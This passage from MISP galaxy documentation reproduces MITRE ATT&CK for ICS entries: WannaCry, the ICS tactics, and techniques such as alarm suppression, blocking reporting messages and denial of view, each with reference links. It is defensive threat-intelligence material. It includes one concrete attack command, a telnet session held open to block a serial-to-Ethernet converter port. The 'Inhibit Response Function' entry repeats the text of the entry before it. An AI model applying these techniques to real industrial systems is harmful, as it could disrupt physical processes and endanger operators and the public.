<td><a href="https://www.youtube.com/watch?v=yuZazP22rpI">https://www.youtube.com/watch?v=yuZazP22rpI</a></td>
</tr>
</tbody>
</table>

**WannaCry**

WannaCry is ransomware that was first seen in a global attack during May 2017, which affected
more than 150 countries. It contains self-propagating ("wormable") features to spread itself across a computer network using the SMBv1 exploit EternalBlue.

The tag is: misp-galaxy:mitre-ics-software="WannaCry"

Table 6279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0366/">https://attack.mitre.org/software/S0366/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-132A">https://www.us-cert.gov/ncas/alerts/TA17-132A</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/">https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/</a></td>
</tr>
</tbody>
</table>

Tactics

A list of all 11 tactics in ATT&CK for ICS.

Tactics is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

Collection

The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary's objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.

The tag is: misp-galaxy:mitre-ics-tactics="Collection"

Table 6280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Command and Control

The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim's network structure and defenses.

The tag is: misp-galaxy:mitre-ics-tactics="Command and Control"

Table 6281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1090">https://attack.mitre.org/wiki/Technique/T1090</a></td>
</tr>
</tbody>
</table>

Discovery

The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.

The tag is: misp-galaxy:mitre-ics-tactics="Discovery"

Table 6282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1049">https://attack.mitre.org/wiki/Technique/T1049</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1040">https://attack.mitre.org/wiki/Technique/T1040</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1018">https://attack.mitre.org/wiki/Technique/T1018</a></td>
</tr>
</tbody>
</table>
Evasion

The adversary is trying to avoid being detected. Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise. Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses.

The tag is: `misp-galaxy:mitre-ics-tactics="Evasion"`

Table 6283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1014">https://attack.mitre.org/wiki/Technique/T1014</a></td>
</tr>
<tr>
<td><a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258</a></td>
</tr>
</tbody>
</table>

Execution

The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.

The tag is: `misp-galaxy:mitre-ics-tactics="Execution"`

Table 6284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1059">https://attack.mitre.org/wiki/Technique/T1059</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258</a></td>
</tr>
</tbody>
</table>
Impact

The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary’s goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.

The tag is: misp-galaxy:mitre-ics-tactics="Impact"

Table 6285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Impair Process Control

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: misp-galaxy:mitre-ics-tactics="Impair Process Control"

Table 6286. Table References

Links

https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices
https://attack.mitre.org/techniques/T1489/
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
**Inhibit Response Function**

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: *misp-galaxy:mitre-ics-tactics="Inhibit Response Function"

**Table 6287. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf">https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf</a></td>
</tr>
<tr>
<td><a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1107">https://attack.mitre.org/wiki/Technique/T1107</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A">https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A</a></td>
</tr>
<tr>
<td><a href="http://cwe.mitre.org/data/definitions/400.html">http://cwe.mitre.org/data/definitions/400.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1014">https://attack.mitre.org/wiki/Technique/T1014</a></td>
</tr>
</tbody>
</table>

**Initial Access**

The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise
IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations.

The tag is: misp-galaxy:mitre-ics-tactics="Initial Access"

Table 6288. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-074A">https://www.us-cert.gov/ncas/alerts/TA18-074A</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B">https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1133">https://attack.mitre.org/wiki/Technique/T1133</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/">https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01">https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html">https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://time.com/4270728/iran-cyber-attack-dam-fbi/">https://time.com/4270728/iran-cyber-attack-dam-fbi/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.kkw-gundremmingen.de/presse.php?id=571">https://www.kkw-gundremmingen.de/presse.php?id=571</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant">https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/">https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1193/">https://attack.mitre.org/techniques/T1193/</a></td>
<td></td>
</tr>
</tbody>
</table>
Techniques

A list of Techniques in ATT&CK for ICS....

Techniques is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Activate Firmware Update Mode

Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.

The tag is: misp-galaxy:mitre-ics-techniques="Activate Firmware Update Mode"

Table 6289. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Alarm Suppression

Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming
alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read. In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.

The tag is: misp-galaxy:mitre-ics-techniques="Alarm Suppression"

### Automated Collection

Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.

The tag is: misp-galaxy:mitre-ics-techniques="Automated Collection"

### Block Command Message

Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.

The tag is: misp-galaxy:mitre-ics-techniques="Block Command Message"
Block Reporting Message

Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukrainian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.

The tag is: misp-galaxy:mitre-ics-techniques="Block Reporting Message"

Table 6293. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258">http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6142258</a></td>
</tr>
<tr>
<td><a href="https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf">https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

Block Serial COM

Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available — 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.

The tag is: misp-galaxy:mitre-ics-techniques="Block Serial COM"

Table 6294. Table References
Brute Force I/O

Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.

The tag is: `misp-galaxy:mitre-ics-techniques="Brute Force I/O"`

Change Program State

Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.

The tag is: `misp-galaxy:mitre-ics-techniques="Change Program State"`

Command-Line Interface

Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.

The tag is: `misp-galaxy:mitre-ics-techniques="Command-Line Interface"`
Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)

The tag is: `misp-galaxy:mitre-ics-techniques="Commonly Used Port"`

Connection Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

The tag is: `misp-galaxy:mitre-ics-techniques="Connection Proxy"`
Damage to Property

Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community’s now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.

The tag is: misp-galaxy:mitre-ics-techniques="Damage to Property"

Table 6300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/">https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/</a></td>
</tr>
<tr>
<td><a href="https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html">https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html</a></td>
</tr>
</tbody>
</table>
Data Destruction

Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.

The tag is: misp-galaxy:mitre-ics-techniques="Data Destruction"

Table 6301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1107">https://attack.mitre.org/wiki/Technique/T1107</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/crashoverride/CrashOverride-01.pdf">https://dragos.com/blog/crashoverride/CrashOverride-01.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/">https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/</a></td>
</tr>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
</tbody>
</table>

Data Historian Compromise

Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution.1 The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity.
checks.

The tag is: `misp-galaxy:mitre-ics-techniques="Data Historian Compromise"`

### Table 6302. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Data from Information Repositories

Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment.

The tag is: `misp-galaxy:mitre-ics-techniques="Data from Information Repositories"`

### Table 6303. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Default Credentials

Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.

The tag is: `misp-galaxy:mitre-ics-techniques="Default Credentials"`

### Table 6304. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf</a></td>
</tr>
</tbody>
</table>

## Denial of Control

Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of
process controls. An affected process may still be operating during the period of control loss, but
not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily
shut an investigator out of the network preventing them from issuing any controls.

The tag is: misp-galaxy:mitre-ics-techniques="Denial of Control"

Table 6305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUFF&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false">https://books.google.com/books?id=oXIYBAAAQBAJ&amp;pg=PA249&amp;lpg=PA249&amp;dq=loss+denial+manipulation+of+view&amp;source=bl&amp;ots=dV1uQ8IUFF&amp;sig=ACfU3U2N1wGjhg051D_Ytw6npyEk9xcf4w&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAAgQAQ#v=onepage&amp;q=loss%20denial%20manipulation%20of%20view&amp;f=false</a></td>
</tr>
</tbody>
</table>

Denial of Service

Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality.
Examples of DoS attacks include overwhelming the target device with a high volume of requests in
a short time period and sending the target device a request it does not know how to handle.
Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can
occur. When placed in this state, devices may be unable to send and receive requests, and may not
perform expected response functions in reaction to other events in the environment. Some ICS
devices are particularly sensitive to DoS events, and may become unresponsive in reaction even
to a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service
(PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may
exploit a software vulnerability to cause a denial of service by taking advantage of a programming
error in a program, service, or within the operating system software or kernel itself to execute
adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or
denial of service condition. Adversaries may have prior knowledge about industrial protocols or
control devices used in the environment through Control Device Identification. There are examples
of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that
induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to
shut an investigator out of the network.

The tag is: misp-galaxy:mitre-ics-techniques="Denial of Service"

Table 6306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A">https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A</a></td>
</tr>
<tr>
<td><a href="http://cwe.mitre.org/data/definitions/400.html">http://cwe.mitre.org/data/definitions/400.html</a></td>
</tr>
</tbody>
</table>
Denial of View

Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.

The tag is: misp-galaxy:mitre-ics-techniques="Denial of View"

Table 6307. Table References

Links

Detect Operating Mode

Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC.

The tag is: misp-galaxy:mitre-ics-techniques="Detect Operating Mode"
Detect Program State

Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.

The tag is: misp-galaxy:mitre-ics-techniques="Detect Program State"

Device Restart/Shutdown

